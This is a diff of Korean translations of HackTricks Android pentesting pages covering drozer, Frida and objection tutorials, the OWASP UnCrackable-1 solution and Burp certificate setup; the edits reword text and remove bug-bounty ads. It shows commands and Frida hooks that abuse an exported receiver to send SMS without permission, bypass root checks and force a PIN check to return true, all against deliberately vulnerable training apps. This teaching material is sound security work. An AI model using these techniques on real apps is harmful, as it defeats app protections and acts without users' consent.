service_identity ``` -[최신 릴리스](https://github.com/mwrlabs/drozer/releases)에서 drozer APK를 다운로드하고 설치하세요. 현재 버전은 [이것](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk)입니다. +[최신 릴리스](https://github.com/mwrlabs/drozer/releases)에서 drozer APK를 다운로드하고 설치하세요. 현재는 [이것](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk)입니다. ```bash adb install drozer.apk ``` @@ -43,20 +39,20 @@ drozer console connect ``` ## 흥미로운 명령어 -| **명령어** | **설명** | -| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | +| **명령어** | **설명** | +| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Help MODULE** | 선택한 모듈의 도움말을 표시합니다. | -| **list** | 현재 세션에서 실행할 수 있는 모든 drozer 모듈의 목록을 표시합니다. 적절한 권한이 없는 모듈은 숨겨집니다. | +| **list** | 현재 세션에서 실행할 수 있는 모든 drozer 모듈의 목록을 표시합니다. 이 목록은 적절한 권한이 없는 모듈은 숨깁니다. | | **shell** | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. | -| **clean** | Android 장치에서 drozer가 저장한 임시 파일을 제거합니다. | -| **load** | drozer 명령이 포함된 파일을 로드하고 순차적으로 실행합니다. | -| **module** | 인터넷에서 추가 drozer 모듈을 찾아 설치합니다. | -| **unset** | drozer가 생성하는 모든 Linux 셸에 전달하는 이름이 있는 변수를 제거합니다. | +| **clean** | Android 장치에서 drozer가 저장한 임시 파일을 제거합니다. | +| **load** | drozer 명령이 포함된 파일을 로드하고 순차적으로 실행합니다. | +| **module** | 인터넷에서 추가 drozer 모듈을 찾아 설치합니다. | +| **unset** | drozer가 생성하는 모든 Linux 셸에 전달하는 이름이 있는 변수를 제거합니다. | | **set** | drozer가 생성하는 모든 Linux 셸에 환경 변수로 전달될 값을 변수에 저장합니다. | | **shell** | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. | | **run MODULE** | drozer 모듈을 실행합니다. | -| **exploit** | Drozer는 장치에서 실행할 수 있는 익스플로잇을 생성할 수 있습니다. `drozer exploit list` | -| **payload** | 익스플로잇에는 페이로드가 필요합니다. `drozer payload list` | +| **exploit** | Drozer는 장치에서 실행할 수 있는 익스플로잇을 생성할 수 있습니다. `drozer exploit list` | +| **payload** | 익스플로잇에는 페이로드가 필요합니다. `drozer payload list` | ### 패키지 @@ -134,11 +130,11 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ``` ### 콘텐츠 제공자 -이 게시물은 여기에서 너무 커서 **당신은** [**여기에서 별도의 페이지로 접근할 수 있습니다**](exploiting-content-providers.md). +이 게시물은 여기에서 너무 커서 **여기에서** [**별도의 페이지로 접근할 수 있습니다**](exploiting-content-providers.md). ### 서비스 -내보낸 서비스는 Manifest.xml 내에서 선언됩니다: +내보낸 서비스는 Manifest.xml 내에 선언됩니다: ```markup ``` @@ -185,7 +181,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m **Android 기본 정보 섹션에서 Broadcast Receiver가 무엇인지 확인할 수 있습니다**. -이 Broadcast Receivers를 발견한 후에는 **코드를 확인**해야 합니다. **`onReceive`** 함수에 특별히 주의하세요. 이 함수는 수신된 메시지를 처리합니다. +이 Broadcast Receivers를 발견한 후에는 **코드를 확인**해야 합니다. **`onReceive`** 함수에 특별한 주의를 기울이세요. 이 함수는 수신된 메시지를 처리합니다. #### **모든** broadcast receivers 감지 ```bash @@ -212,15 +208,15 @@ Permission: null com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver Permission: null ``` -#### 방송 **상호작용** +#### 브로드캐스트 **상호작용** ```bash app.broadcast.info Get information about broadcast receivers app.broadcast.send Send broadcast using an intent app.broadcast.sniff Register a broadcast receiver that can sniff particular intents ``` -#### 메시지 전송 +#### 메시지 보내기 -이 예제에서는 [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider를 악용하여 사용자의 허가 없이 **임의의 SMS**를 비프리미엄 목적지로 **전송할 수 있습니다**. +이 예제에서는 [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider를 악용하여 사용자의 허가 없이 **임의의 SMS**를 비프리미엄 목적지로 **보낼 수 있습니다**. ![](<../../../images/image (415).png>) @@ -233,7 +229,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo ### Is debuggeable 생산용 APK는 절대 디버깅 가능해서는 안 됩니다.\ -이것은 실행 중인 애플리케이션에 **자바 디버거**를 연결하고, 런타임에서 검사하고, 중단점을 설정하고, 단계별로 진행하며, 변수 값을 수집하고 심지어 변경할 수 있음을 의미합니다. [InfoSec institute has an excellent article](../exploiting-a-debuggeable-applciation.md) on digging deeper when you application is debuggable and injecting runtime code. +이는 **자바 디버거**를 실행 중인 애플리케이션에 연결하고, 런타임에서 검사하고, 중단점을 설정하고, 단계별로 진행하며, 변수 값을 수집하고 심지어 변경할 수 있음을 의미합니다. [InfoSec institute has an excellent article](../exploiting-a-debuggeable-applciation.md) on digging deeper when you application is debuggable and injecting runtime code. 애플리케이션이 디버깅 가능할 때, 매니페스트에 나타납니다: ```xml @@ -254,10 +250,6 @@ run app.package.debuggable - [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/) - -**버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index 4ddb9d9d2..d0f900a95 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -2,20 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -
-**버그 바운티 팁**: **Intigriti**에 **가입하세요**, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요! +## Installation -{% embed url="https://go.intigriti.com/hacktricks" %} - -## 설치 - -**frida tools** 설치: +**frida tools**를 설치하세요: ```bash pip install frida-tools pip install frida ``` -**안드로이드에** **frida server**를 **다운로드하고 설치**하세요 ([최신 릴리스 다운로드](https://github.com/frida/frida/releases)).\ +**안드로이드에** **frida server**를 **다운로드하고 설치**합니다 ([최신 릴리스 다운로드](https://github.com/frida/frida/releases)).\ adb를 루트 모드로 재시작하고, 연결하고, frida-server를 업로드하고, 실행 권한을 부여한 후 백그라운드에서 실행하는 원라이너: ```bash adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" @@ -37,7 +32,7 @@ frida-ps -U | grep -i #Get all the package name ### [튜토리얼 2](frida-tutorial-2.md) -**출처**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (파트 2, 3 & 4)\ +**출처**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (2, 3 및 4부)\ **APK 및 소스 코드**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) **[링크를 따라 읽어보세요.](frida-tutorial-2.md)** @@ -149,7 +144,7 @@ return ret //[B ``` ### 함수 후킹 및 입력으로 호출하기 -문자열을 받는 함수를 후킹하고 다른 문자열로 호출하기 (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) +문자열을 받는 함수를 후킹하고 다른 문자열로 호출하기 ([여기서](https://11x256.github.io/Frida-hooking-android-part-2/) ) ```javascript var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class @@ -162,7 +157,7 @@ console.log("Return value: " + ret) return ret } ``` -### 이미 생성된 클래스 객체 가져오기 +### 이미 생성된 클래스의 객체 가져오기 생성된 객체의 일부 속성을 추출하려면 다음을 사용할 수 있습니다. @@ -182,10 +177,5 @@ onComplete: function () {}, - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) - [고급 Frida 사용 블로그 시리즈 1부: IOS 암호화 라이브러리](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) -
- -**버그 바운티 팁**: **Intigriti**에 **가입하세요**, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md index eaadc0056..d31e3713a 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md @@ -2,19 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄 버그 바운티 플랫폼인** **Intigriti**에 **가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요! - -{% embed url="https://go.intigriti.com/hacktricks" %} - **이 게시물의 요약**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **소스 코드**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) ## Python -Frida는 실행 중인 애플리케이션의 함수 내에 **JavaScript 코드를 삽입**할 수 있게 해줍니다. 하지만 **python**을 사용하여 후크를 **호출**하고 **후크**와 **상호작용**할 수 있습니다. +Frida는 실행 중인 애플리케이션의 함수 내에 **JavaScript 코드를 삽입**할 수 있게 해줍니다. 하지만 **python**을 사용하여 **후크를 호출**하고 **후크와 상호작용**할 수도 있습니다. 이것은 이 튜토리얼의 모든 제안된 예제와 함께 사용할 수 있는 간단한 파이썬 스크립트입니다: ```python @@ -120,14 +114,8 @@ return encrypted_ret ``` ## 중요 -이 튜토리얼에서는 메서드의 이름과 _.implementation_을 사용하여 메서드를 후킹했습니다. 그러나 **같은 이름을 가진 메서드가 여러 개** 있을 경우, 후킹하려는 **메서드를 지정**하고 **인수의 유형을 나타내야** 합니다. +이 튜토리얼에서는 메서드의 이름과 _.implementation_을 사용하여 메서드를 후킹했습니다. 그러나 **같은 이름을 가진 메서드가 여러 개** 있을 경우, 후킹하려는 **메서드를 지정해야 하며** **인수의 유형을 표시해야** 합니다. -다음 튜토리얼에서 이를 확인할 수 있습니다 [the next tutorial](frida-tutorial-2.md). - -
- -**버그 바운티 팁**: 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼인 Intigriti에 **가입**하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요! - -{% embed url="https://go.intigriti.com/hacktricks" %} +다음 튜토리얼에서 이를 확인할 수 있습니다. [the next tutorial](frida-tutorial-2.md). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md index b909a0703..7455ecbbc 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md @@ -2,13 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -**이 게시물의 요약입니다**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (파트 2, 3 & 4)\ +**이것은 게시물의 요약입니다**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (파트 2, 3 & 4)\ **APKs 및 소스 코드**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) 파트 1은 매우 쉽습니다. @@ -17,9 +11,9 @@ ## Part 2 -여기에서 **같은 이름을 가진 2개의 함수를 다른 매개변수로 후킹하는** 방법의 예를 볼 수 있습니다.\ +여기에서 **같은 이름을 가진 2개의 함수를 후킹하는** 방법의 예를 볼 수 있습니다.\ 또한, **자신의 매개변수로 함수를 호출하는** 방법을 배울 것입니다.\ -마지막으로, **클래스의 인스턴스를 찾아 함수를 호출하는** 방법의 예가 있습니다. +마지막으로, **클래스의 인스턴스를 찾아 함수를 호출하게 하는** 방법의 예가 있습니다. ```javascript //s2.js console.log("Script loaded successfully "); @@ -54,7 +48,7 @@ onComplete: function () { } }); }); ``` -문자열을 생성하기 위해 먼저 _java.lang.String_ 클래스를 참조한 다음, 해당 클래스의 _$new_ 객체를 문자열 내용을 사용하여 생성한 것을 볼 수 있습니다. 이것이 클래스의 새 객체를 생성하는 올바른 방법입니다. 그러나 이 경우 `this.fun()`에 `this.fun("hey there!")`와 같은 문자열을 그냥 전달할 수 있습니다. +문자열을 생성하기 위해 먼저 _java.lang.String_ 클래스를 참조한 다음, 해당 클래스의 _$new_ 객체를 문자열 내용을 사용하여 생성한 것을 볼 수 있습니다. 이것이 클래스의 새 객체를 생성하는 올바른 방법입니다. 그러나 이 경우 `this.fun()`에 `this.fun("hey there!")`와 같은 문자열을 전달할 수 있습니다. ### Python ```python @@ -112,7 +106,7 @@ script.exports.callsecretfunction() elif command == "3": script.exports.hooksecretfunction() ``` -명령어 "**1**"은 **종료**하고, 명령어 "**2**"는 **클래스의 인스턴스를 찾고 비공식 함수** _**secret()**_을 호출하며, 명령어 "**3**"은 **함수** _**secret()**_을 **후킹**하여 **다른 문자열**을 **반환**합니다. +명령어 "**1**"은 **종료**하고, 명령어 "**2**"는 클래스의 **인스턴스를 찾고 비공식 함수** _**secret()**_을 호출하며, 명령어 "**3**"은 **함수** _**secret()**_을 **후킹**하여 **다른 문자열**을 **반환**합니다. 따라서, "**2**"를 호출하면 **진짜 비밀**을 얻을 수 있지만, "**3**"을 호출한 후 "**2**"를 호출하면 **가짜 비밀**을 얻을 수 있습니다. @@ -208,12 +202,7 @@ return this.setText(string_to_recv) } }) ``` -5부는 새로운 내용이 없기 때문에 설명하지 않겠습니다. 하지만 읽고 싶다면 여기 있습니다: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/) +5부에 대해 설명하지 않을 것입니다. 새로운 내용이 없기 때문입니다. 하지만 읽고 싶다면 여기 있습니다: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/) -
- -**버그 바운티 팁**: **Intigriti**에 **가입하세요**, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md index 18771c09b..ec7b89d1c 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md @@ -2,23 +2,19 @@ {{#include ../../../banners/hacktricks-training.md}} - -**버그 바운티 팁**: **Intigriti**에 **가입하세요**, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 바운티를 벌기 시작하세요! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## **소개** **objection - 런타임 모바일 탐색** -[**Objection**](https://github.com/sensepost/objection)은 [Frida](https://www.frida.re)로 구동되는 런타임 모바일 탐색 툴킷입니다. 이는 탈옥되거나 루팅된 모바일 장치 없이 모바일 애플리케이션과 그 보안 상태를 평가하는 데 도움을 주기 위해 만들어졌습니다. +[**Objection**](https://github.com/sensepost/objection)는 [Frida](https://www.frida.re)로 구동되는 런타임 모바일 탐색 툴킷입니다. 이는 탈옥되거나 루팅된 모바일 장치 없이 모바일 애플리케이션과 그 보안 상태를 평가하는 데 도움을 주기 위해 만들어졌습니다. -**참고:** 이것은 어떤 형태의 탈옥/루트 우회가 아닙니다. `objection`을 사용하더라도 사용자는 직면한 샌드박스에서 부과된 모든 제한에 의해 여전히 제한됩니다. +**참고:** 이것은 어떤 형태의 탈옥/루트 우회가 아닙니다. `objection`을 사용함으로써, 사용자는 직면한 샌드박스에 의해 부과된 모든 제한에 여전히 제한됩니다. ### 요약 -**objection**의 **목표**는 사용자가 **Frida가 제공하는 주요 작업을 호출**할 수 있도록 하는 것입니다. **그렇지 않으면**, 사용자는 테스트하려는 **모든 애플리케이션에 대해 단일 스크립트를 생성해야** 합니다. +**objection**의 **목표**는 사용자가 **Frida가 제공하는 주요 작업을 호출**할 수 있도록 하는 것입니다. **그렇지 않으면**, 사용자는 테스트하고자 하는 **모든 애플리케이션에 대해 단일 스크립트를 생성해야** 합니다. ## 튜토리얼 @@ -43,7 +39,7 @@ objection --gadget asvid.github.io.fridaapp explore ``` ### 기본 작업 -이 튜토리얼에서는 유용하다고 생각되는 몇 가지 명령만 나열할 것이며, 모든 가능한 objections 명령은 나열되지 않습니다. +이 튜토리얼에서는 유용하다고 생각되는 명령만 나열되며, objections의 모든 가능한 명령은 나열되지 않습니다. #### 환경 @@ -53,7 +49,7 @@ env ``` ![](<../../../images/image (220).png>) -#### Frida 정보 +#### 프리다 정보 ```bash frida ``` @@ -139,13 +135,13 @@ android hooking list class_methods asvid.github.io.fridaapp.MainActivity ```bash android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes. ``` -이것은 **클래스의 메서드를 후킹하고 클래스의 이름만 알고 있을 때** 매우 유용합니다. 이 함수를 사용하여 **클래스를 소유한 모듈을 검색**한 다음 메서드를 후킹할 수 있습니다. +이것은 **클래스의 메서드를 후킹하고 클래스의 이름만 알고 있을 때** 매우 유용합니다. 이 함수를 사용하여 **어떤 모듈이 클래스를 소유하는지 검색**한 다음 메서드를 후킹할 수 있습니다. ### 후킹이 쉬움 #### 메서드 후킹(감시) -애플리케이션의 [소스 코드](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)에서 **MainActivity**의 **함수** _**sum()**_ 이 **매초** 실행된다는 것을 알 수 있습니다. 함수가 호출될 때마다 **모든 가능한 정보**(인수, 반환 값 및 백트레이스)를 **덤프**해 보겠습니다: +애플리케이션의 [소스 코드](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)에서 우리는 **MainActivity**의 **함수** _**sum()**_ 이 **매초** 실행되고 있음을 알 수 있습니다. 함수가 호출될 때마다 **모든 가능한 정보**(인수, 반환 값 및 백트레이스)를 **덤프**해 보겠습니다: ```bash android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return ``` @@ -157,13 +153,13 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d ```bash android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return ``` -애플리케이션을 클래스가 후킹된 상태에서 사용하면 **각 함수가 호출되는 시점**, 그 **인수** 및 **반환** 값을 볼 수 있습니다. +애플리케이션을 클래스가 후킹된 상태에서 사용하면 **각 함수가 호출되는 시점**, **인수** 및 **반환** 값을 볼 수 있습니다. ![](<../../../images/image (861).png>) #### 함수의 불리언 반환 값 변경 -소스 코드를 보면 _checkPin_ 함수가 _String_을 인수로 받고 _boolean_을 반환하는 것을 알 수 있습니다. 함수를 **항상 true를 반환하도록** 만들어 보겠습니다: +소스 코드를 보면 함수 _checkPin_이 _String_을 인수로 받고 _boolean_을 반환하는 것을 알 수 있습니다. 함수를 **항상 true를 반환하도록** 만들어 보겠습니다: ![](<../../../images/image (883).png>) @@ -173,7 +169,7 @@ android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args -- ### 클래스 인스턴스 -특정 Java 클래스의 **실시간 인스턴스**를 검색하고 인쇄합니다. 이는 완전한 클래스 이름으로 지정됩니다. 발견된 objection에 대한 문자열 값을 얻으려는 시도의 결과로, 일반적으로 **객체의 속성 값을 포함**합니다. +특정 Java 클래스의 **실시간 인스턴스**를 검색하고 인쇄합니다. 이는 완전한 클래스 이름으로 지정됩니다. 발견된 objection에 대한 문자열 값을 얻으려는 시도의 결과는 일반적으로 **객체의 속성 값을 포함합니다**. ``` android heap print_instances ``` @@ -204,7 +200,7 @@ memory list modules ![](<../../../images/image (1097).png>) -frida가 무엇을 내보내는지 확인해 봅시다: +frida가 무엇을 내보내고 있는지 확인해 봅시다: ![](<../../../images/image (298).png>) @@ -225,14 +221,10 @@ exit ``` ## Objection에서 내가 놓치는 것들 -- 후킹 방법이 가끔 애플리케이션을 충돌시킵니다 (이것은 Frida 때문이기도 합니다). +- 후킹 방법이 때때로 애플리케이션을 충돌시킵니다 (이것은 Frida 때문이기도 합니다). - 클래스의 인스턴스를 사용하여 인스턴스의 함수를 호출할 수 없습니다. 그리고 클래스의 새로운 인스턴스를 생성하고 이를 사용하여 함수를 호출할 수 없습니다. - 애플리케이션에서 사용되는 모든 일반적인 암호화 방법을 후킹하여 암호화된 텍스트, 평문, 키, IV 및 사용된 알고리즘을 볼 수 있는 단축키(sslpinning과 같은)가 없습니다. - -**버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼인 **Intigriti**에 **가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md index 4c45070bc..d137aba96 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md @@ -2,22 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요! - -{% embed url="https://go.intigriti.com/hacktricks" %} --- -**이 게시물의 요약**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ +**이 포스트의 요약**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) ## Solution 1 -[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)을 기반으로 합니다. +[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)에 기반 -**\_exit()**\_ 함수를 후킹하고 **복호화 함수**를 사용하여 verify를 누를 때 플래그를 frida 콘솔에 출력하세요: +**\_exit()**\_ 함수를 후킹하고 **decrypt function**을 사용하여 verify를 누를 때 frida 콘솔에 플래그를 출력하도록 하세요: ```javascript Java.perform(function () { send("Starting hooks OWASP uncrackable1...") @@ -60,7 +55,7 @@ send("Hooks installed.") Based in [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) -**루트 체크를 후킹**하고 decrypt 함수를 수정하여 verify를 누를 때 frida 콘솔에 플래그를 출력하게 하세요: +**루트 체크를 후킹**하고 함수의 암호를 해독하여 verify를 누를 때 frida 콘솔에 플래그를 출력합니다: ```javascript Java.perform(function () { send("Starting hooks OWASP uncrackable1...") @@ -120,10 +115,4 @@ return false send("Hooks installed.") }) ``` -
- -**버그 바운티 팁**: **가입하세요** **Intigriti**에, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요! - -{% embed url="https://go.intigriti.com/hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index 0f524ae00..ff21dbe22 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -2,9 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## 가상 머신에서 @@ -32,35 +29,35 @@ adb reboot #Now, reboot the machine ## Magisc 사용하기 -장치를 **Magisc로 루팅한 경우** (아마도 에뮬레이터일 수 있음) 이전 **단계를 따라할 수 없다면** Burp 인증서를 설치하기 위해 **파일 시스템이 읽기 전용**이고 이를 쓰기 가능으로 다시 마운트할 수 없는 경우, 다른 방법이 있습니다. +장치를 **Magisc로 루팅한 경우** (아마도 에뮬레이터일 수 있음) 이전 **단계를 따라할 수 없다면** Burp 인증서를 설치하기 위해 **파일 시스템이 읽기 전용**이고 쓰기 가능으로 다시 마운트할 수 없는 경우, 다른 방법이 있습니다. [**이 비디오**](https://www.youtube.com/watch?v=qQicUW0svB8)에서 설명된 대로 다음을 수행해야 합니다: -1. **CA 인증서 설치**: DER Burp 인증서를 **드래그 앤 드롭**하여 모바일에서 **확장자를** `.crt`로 변경하여 Downloads 폴더에 저장하고 `Install a certificate` -> `CA certificate`로 이동합니다. +1. **CA 인증서 설치**: DER Burp 인증서를 **드래그 앤 드롭**하여 모바일에서 **확장자를** `.crt`로 변경하여 다운로드 폴더에 저장하고 `인증서 설치` -> `CA 인증서`로 이동합니다.
-- `Trusted credentials` -> `USER`로 이동하여 인증서가 올바르게 저장되었는지 확인합니다. +- `신뢰할 수 있는 자격 증명` -> `사용자`로 이동하여 인증서가 올바르게 저장되었는지 확인합니다.
-2. **시스템 신뢰로 만들기**: Magisc 모듈 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (zip 파일)를 다운로드하고, **드래그 앤 드롭**하여 전화기에 넣고, 전화기의 **Magics 앱**에서 **`Modules`** 섹션으로 이동하여 **`Install from storage`**를 클릭하고, `.zip` 모듈을 선택한 후 설치가 완료되면 **재부팅**합니다: +2. **시스템 신뢰로 만들기**: Magisc 모듈 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (zip 파일)를 다운로드하고, **드래그 앤 드롭**하여 전화기에 넣고, 전화기의 **Magics 앱**에서 **`모듈`** 섹션으로 이동하여 **`저장소에서 설치`**를 클릭하고, `.zip` 모듈을 선택한 후 설치가 완료되면 **재부팅**합니다:
-- 재부팅 후 `Trusted credentials` -> `SYSTEM`으로 이동하여 Postswigger 인증서가 있는지 확인합니다. +- 재부팅 후 `신뢰할 수 있는 자격 증명` -> `시스템`으로 이동하여 Postswigger 인증서가 있는지 확인합니다.
